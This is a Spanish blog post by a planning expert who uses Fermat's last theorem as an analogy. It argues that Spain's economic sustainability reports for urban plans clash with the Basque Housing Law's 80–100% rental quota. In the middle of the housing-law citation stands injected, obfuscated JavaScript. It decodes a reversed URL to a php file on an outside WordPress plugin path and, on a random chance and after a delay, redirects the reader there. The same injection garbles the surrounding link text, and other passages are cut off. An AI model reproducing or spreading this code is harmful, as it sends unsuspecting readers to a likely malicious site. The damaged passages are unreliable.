El ISE, las políticas de alquiler y el último teorema de Fermat

Ecuaciones para la reflexión.

fermat

Pierre Fermat

Si os preguntáis que pinta el teorema de Fermat en este post, la razón no es otra que las matemáticas son una ciencia que sirven para explicar modelos, entre otros los económicos y recordemos que, como ha señalado en más de una ocasión el TC, esto del urbanismo y la economía son dos caras de una misma moneda. Así que hoy toca clase de matemáticas.

El último Teorema de Pierre Fermat dice:

Si n es un número entero mayor que 2, entonces no existen números enteros positivos X, Y y Z, tales que se cumpla la igualdad:

Xn + Yn = Zn

Esto es, salvo X2 + Y2 = Z2 no existen números enteros positivos (x, y, z) que cumplan la condición.

Nota de culturilla general: Este último teorema lo escribió Fermat en el margen de su ejemplar de la Arithmetica de to en 1637, pero no fue demostrado hasta 1995 por Andrew Wiles ayudado por el matemático Richard Taylor y se considera uno de los teoremas claves de la Geometría Aritmética moderna.

Y diréis, ¿Dónde está el vínculo con el ISE y las políticas de alquiler? Pues analicemos las actuales regulaciones de ambos términos (nuestros números enteros positivos).

Recordemos que el ISE:

Artículo 22. Evaluación y seguimiento de la sostenibilidad del desarrollo urbano, y garantía de la viabilidad técnica y económica de las actuaciones sobre el medio urbano.

  1. La documentación de los instrumentos de ordenación de las actuaciones de transformación urbanística deberá incluir un informe o memoria de sostenibilidad económica, en el que se ponderará, en particular, el impacto de la actuación en las Haciendas Públicas afectadas por la implantación y el mantenimiento de las infraestructuras necesarias o la puesta en marcha y la prestación de los servicios resultantes, así como la suficiencia y adecuación del suelo destinado a usos productivos.

De lo cual podemos deducir:

  • Todas las actuaciones de transformación tienen que hacer el ISE (todos los planeamientos, salvo que no contemplen ninguna transformación. Y nos preguntamos entre paréntesis, ¿quien opte por no hacer nada, también tendría que justificar que su opción es sostenible, no?).
  • El ISE tiene que medir el impacto sobre las Haciendas públicas:
    • Municipal, en la medida que es la que aprueba o propone el planeamiento y recibe la urbanización y los solares que alojen la cesión de edificabilidad ponderada derivada de la participación de la comunidad en las plusvalías, cuyo destino preferente será la vivienda de protección pública o social.
    • Autonómica, en la medida que sea está administración quien desarrolle la política de vivienda pública en los ámbitos de desarrollo del planeamiento.
  • El ISE tiene que justificar la suficiencia y adecuación del suelo destinado a usos productivos, en todo tipo de ámbitos (por cierto, este último inciso parece que no lo lee nadie!).

Por otro lado, la regulación del derecho a vivienda y la política de alquiler se encuentra recogida en la actual Ley 3/2015 de Vivienda ($NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Vasco) 3/2015 de vivienda” href=”http://www.boe.es/diario_boe/txt.php?id=BOE-A-2015-7802#df4″ target=”_blank”>DF4) y en las modificaciones que introdujo de la Ley 2/2006 de suelo y urbanismo (Artículo 7. Derecho al disfrute de una vivienda digna y adecuada y derecho de acceso a la ocupación legal de una vivienda o alojamiento.

  1. El Gobierno Vasco y las administraciones públicas de carácter territorial orientarán los recursos disponibles en materia de vivienda preferentemente a la promoción de viviendas en régimen de alquiler, para destinarlas a los colectivos más desfavorecidos. Dicha preferencia significa que, exceptuando los destinados a rehabilitación, el 80 % de los recursos en materia de vivienda se destinarán a políticas de alquiler, no siendo inferior a ese porcentaje el volumen edificatorio de protección pública. 

Disposición final cuarta. Plazo para la aplicación de las políticas de vivienda previstas en el artículo 7.4.

En las políticas de vivienda a las que se refiere el artículo 7.4 de esta ley, en las que la asignación de recursos públicos en materia de vivienda se destinará al alquiler en un 80%, exceptuando los destinados a rehabilitación, dicho porcentaje se incrementará hasta llegar al 100% en los cinco años siguientes a la fecha de publicación de esta ley.

De lo cual podemos nuevamente deducir:

Expuestos los términos, toca reformular nuestra versión del último teorema de Fermat a modo de pregunta.

¿Existirá algún planeamiento (Z) que pueda cumplir el criterio de ser sostenible económicamente (X) y que cumpla con las nuevas políticas de vivienda (Y) para un número (N) superior a 2 viviendas?

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No podemos dar la Medalla Fields o el Premio Abel del urbanismo a quien lo demuestre, pero nos tememos que será bastante fácil deducir que no es posible cumplir ambos términos y por tanto, no se podrá aprobar un planeamiento con las vigentes regulaciones salvo que se hagan trampas. Quizás os preguntéis ¿Por qué? Sirvan las siguientes preguntas como invitaciones a la reflexión:

Dicen que el amigo Fermat escribió en el margen del citado libro Arithmetica de toCuius rei demonstrationem mirabilem sane detexi. Hanc marginis exiguitas non caperet” (Poseo una demostración en verdad maravillosa para este hecho, pero este margen es demasiado estrecho para contenerla).

Nos tememos que los redactores de la Ley de Vivienda no encontrarían sitio en ningún margen del BOPV para poder resolver las incógnitas que se nos abren a las administraciones y los operadores que tengamos que manejar los futuros planeamientos, quizás se hayan engañado al creer que tenían una prueba para algún caso imaginario. ¿Se percatará alguien del error?

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Álvaro Cerezo

Álvaro Cerezo, Doctor Arquitecto (ETSAM, UPM), Arquitecto (ETSASS, UPV/EHU). Profesor Ayudante Doctor –ANECA- y Adjunto –UNIBASQ-. Profesor de la Cátedra UNED- Instituto Lincoln de Políticas de Suelo. Director de la Sociedad pública Puerto Deportivo el Abra – Getxo S.A. Ha sido arquitecto municipal en el Ayuntamiento de Zalla. Máster en valoraciones UPC-EM-REV y experto en Urbanismo, Derecho Urbanístico, Valoraciones, Ordenación y Gestión del Territorio y Evaluación ambiental. Experto en proyectos europeos (URBACT III, Regeneración urbana integrada, Medioambiente, Vivienda sostenible, Financiación de proyectos urbanos, Apoyo a las autoridades locales y otras partes interesadas en el diseño y ejecución de políticas integradas y participativas). ECA Residuos nivel I. Ha sido docente de la EVETU (IVAP) y en la UPV/EHU, Universidad de Deusto, UP-Cataluña, UP-Valencia y en instituciones INAP y ERAP, así como diversos colegios profesionales.

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